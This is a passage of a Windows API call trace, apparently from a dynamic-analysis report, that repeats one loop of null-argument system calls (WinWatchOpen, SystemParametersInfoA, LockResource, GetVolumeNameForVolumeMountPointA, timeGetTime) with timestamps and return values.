returned 0x1138809 [0141.140] WinWatchOpen () returned 0x60c300 [0141.140] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.141] LockResource (hResData=0x0) returned 0x0 [0141.141] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.141] WinWatchNotify () returned 0x0 [0141.141] timeGetTime () returned 0x113880a [0141.141] WinWatchOpen () returned 0x60c320 [0141.141] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.141] LockResource (hResData=0x0) returned 0x0 [0141.141] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.141] WinWatchNotify () returned 0x0 [0141.141] timeGetTime () returned 0x113880a [0141.141] WinWatchOpen () returned 0x60c340 [0141.141] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.141] LockResource (hResData=0x0) returned 0x0 [0141.141] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.141] WinWatchNotify () returned 0x0 [0141.141] timeGetTime () returned 0x113880a [0141.141] WinWatchOpen () returned 0x60c360 [0141.141] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.141] LockResource (hResData=0x0) returned 0x0 [0141.141] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.141] WinWatchNotify () returned 0x0 [0141.141] timeGetTime () returned 0x113880a [0141.141] WinWatchOpen () returned 0x60c380 [0141.141] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.141] LockResource (hResData=0x0) returned 0x0 [0141.141] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.141] WinWatchNotify () returned 0x0 [0141.141] timeGetTime () returned 0x113880a [0141.141] WinWatchOpen () returned 0x60c3a0 [0141.141] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.141] LockResource (hResData=0x0) returned 0x0 [0141.141] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.141] WinWatchNotify () returned 0x0 [0141.141] timeGetTime () returned 0x113880a [0141.141] WinWatchOpen () returned 0x60c3c0 [0141.141] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.142] LockResource (hResData=0x0) returned 0x0 [0141.142] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.142] WinWatchNotify () returned 0x0 [0141.142] timeGetTime () returned 0x113880b [0141.142] WinWatchOpen () returned 0x60c3e0 [0141.142] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.142] LockResource (hResData=0x0) returned 0x0 [0141.142] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.142] WinWatchNotify () returned 0x0 [0141.142] timeGetTime () returned 0x113880b [0141.142] WinWatchOpen () returned 0x60c400 [0141.142] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.142] LockResource (hResData=0x0) returned 0x0 [0141.142] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.142] WinWatchNotify () returned 0x0 [0141.142] timeGetTime () returned 0x113880b [0141.142] WinWatchOpen () returned 0x60c420 [0141.142] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.142] LockResource (hResData=0x0) returned 0x0 [0141.142] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.142] WinWatchNotify () returned 0x0 [0141.142] timeGetTime () returned 0x113880b [0141.142] WinWatchOpen () returned 0x60c440 [0141.142] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.142] LockResource (hResData=0x0) returned 0x0 [0141.142] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.142] WinWatchNotify () returned 0x0 [0141.142] timeGetTime () returned 0x113880b [0141.142] WinWatchOpen () returned 0x60c460 [0141.142] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.142] LockResource (hResData=0x0) returned 0x0 [0141.142] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.142] WinWatchNotify () returned 0x0 [0141.142] timeGetTime () returned 0x113880b [0141.142] WinWatchOpen () returned 0x60c480 [0141.142] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.211] LockResource (hResData=0x0) returned 0x0 [0141.211] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138850 [0141.212] WinWatchOpen () returned 0x60c4a0 [0141.212] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.212] LockResource (hResData=0x0) returned 0x0 [0141.212] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138850 [0141.212] WinWatchOpen () returned 0x60c4c0 [0141.212] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.212] LockResource (hResData=0x0) returned 0x0 [0141.212] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138850 [0141.212] WinWatchOpen () returned 0x60c4e0 [0141.212] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.212] LockResource (hResData=0x0) returned 0x0 [0141.212] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138850 [0141.212] WinWatchOpen () returned 0x60c500 [0141.212] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.212] LockResource (hResData=0x0) returned 0x0 [0141.212] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138850 [0141.212] WinWatchOpen () returned 0x60c520 [0141.212] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.212] LockResource (hResData=0x0) returned 0x0 [0141.212] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138850 [0141.212] WinWatchOpen () returned 0x60c540 [0141.212] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.212] LockResource (hResData=0x0) returned 0x0 [0141.212] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.212] WinWatchNotify () returned 0x0 [0141.212] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c560 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.213] WinWatchNotify () returned 0x0 [0141.213] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c580 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.213] WinWatchNotify () returned 0x0 [0141.213] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c5a0 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.213] WinWatchNotify () returned 0x0 [0141.213] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c5c0 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.213] WinWatchNotify () returned 0x0 [0141.213] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c5e0 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.213] WinWatchNotify () returned 0x0 [0141.213] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c600 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.213] WinWatchNotify () returned 0x0 [0141.213] timeGetTime () returned 0x1138851 [0141.213] WinWatchOpen () returned 0x60c620 [0141.213] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.213] LockResource (hResData=0x0) returned 0x0 [0141.213] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138852 [0141.214] WinWatchOpen () returned 0x60c640 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.214] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138852 [0141.214] WinWatchOpen () returned 0x60c660 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.214] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138852 [0141.214] WinWatchOpen () returned 0x60c680 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.214] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138852 [0141.214] WinWatchOpen () returned 0x60c6a0 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.214] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138852 [0141.214] WinWatchOpen () returned 0x60c6c0 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.214] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138852 [0141.214] WinWatchOpen () returned 0x60c6e0 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.214] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.214] WinWatchNotify () returned 0x0 [0141.214] timeGetTime () returned 0x1138853 [0141.214] WinWatchOpen () returned 0x60c720 [0141.214] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.214] LockResource (hResData=0x0) returned 0x0 [0141.215] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.215] WinWatchNotify () returned 0x0 [0141.215] timeGetTime () returned 0x1138853 [0141.215] WinWatchOpen () returned 0x60c740 [0141.215] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.215] LockResource (hResData=0x0) returned 0x0 [0141.215] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.215] WinWatchNotify () returned 0x0 [0141.215] timeGetTime () returned 0x1138853 [0141.215] WinWatchOpen () returned 0x60c760 [0141.215] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.215] LockResource (hResData=0x0) returned 0x0 [0141.215] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.215] WinWatchNotify () returned 0x0 [0141.215] timeGetTime () returned 0x1138853 [0141.215] WinWatchOpen () returned 0x60c780 [0141.215] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.215] LockResource (hResData=0x0) returned 0x0 [0141.215] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.215] WinWatchNotify () returned 0x0 [0141.215] timeGetTime () returned 0x1138853 [0141.215] WinWatchOpen () returned 0x60c7a0 [0141.215] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.215] LockResource (hResData=0x0) returned 0x0 [0141.215] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.215] WinWatchNotify () returned 0x0 [0141.215] timeGetTime () returned 0x1138853 [0141.215] WinWatchOpen () returned 0x60c7c0 [0141.215] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.215] LockResource (hResData=0x0) returned 0x0 [0141.215] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.215] WinWatchNotify () returned 0x0 [0141.215] timeGetTime () returned 0x1138853 [0141.215] WinWatchOpen () returned 0x60c7e0 [0141.215] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.215] LockResource (hResData=0x0) returned 0x0 [0141.216] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.216] WinWatchNotify () returned 0x0 [0141.216] timeGetTime () returned 0x1138854 [0141.216] WinWatchOpen () returned 0x60c800 [0141.216] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.216] LockResource (hResData=0x0) returned 0x0 [0141.216] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.216] WinWatchNotify () returned 0x0 [0141.216] timeGetTime () returned 0x1138854 [0141.216] WinWatchOpen () returned 0x60c820 [0141.216] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.216] LockResource (hResData=0x0) returned 0x0 [0141.216] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.216] WinWatchNotify () returned 0x0 [0141.216] timeGetTime () returned 0x1138854 [0141.216] WinWatchOpen () returned 0x60c840 [0141.216] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.216] LockResource (hResData=0x0) returned 0x0 [0141.216] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.216] WinWatchNotify () returned 0x0 [0141.216] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c860 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.217] WinWatchNotify () returned 0x0 [0141.217] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c880 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.217] WinWatchNotify () returned 0x0 [0141.217] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c8a0 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.217] WinWatchNotify () returned 0x0 [0141.217] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c8c0 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.217] WinWatchNotify () returned 0x0 [0141.217] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c8e0 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.217] WinWatchNotify () returned 0x0 [0141.217] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c900 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.217] WinWatchNotify () returned 0x0 [0141.217] timeGetTime () returned 0x1138855 [0141.217] WinWatchOpen () returned 0x60c920 [0141.217] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.217] LockResource (hResData=0x0) returned 0x0 [0141.217] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138856 [0141.218] WinWatchOpen () returned 0x60c940 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.218] LockResource (hResData=0x0) returned 0x0 [0141.218] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138856 [0141.218] WinWatchOpen () returned 0x60c960 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.218] LockResource (hResData=0x0) returned 0x0 [0141.218] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138856 [0141.218] WinWatchOpen () returned 0x60c980 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.218] LockResource (hResData=0x0) returned 0x0 [0141.218] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138856 [0141.218] WinWatchOpen () returned 0x60c9a0 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.218] LockResource (hResData=0x0) returned 0x0 [0141.218] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138856 [0141.218] WinWatchOpen () returned 0x60c9c0 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.218] LockResource (hResData=0x0) returned 0x0 [0141.218] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138856 [0141.218] WinWatchOpen () returned 0x60c9e0 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.218] LockResource (hResData=0x0) returned 0x0 [0141.218] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.218] WinWatchNotify () returned 0x0 [0141.218] timeGetTime () returned 0x1138857 [0141.218] WinWatchOpen () returned 0x60ca00 [0141.218] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.219] WinWatchNotify () returned 0x0 [0141.219] timeGetTime () returned 0x1138857 [0141.219] WinWatchOpen () returned 0x60ca20 [0141.219] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.219] LockResource (hResData=0x0) returned 0x0 [0141.219] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", 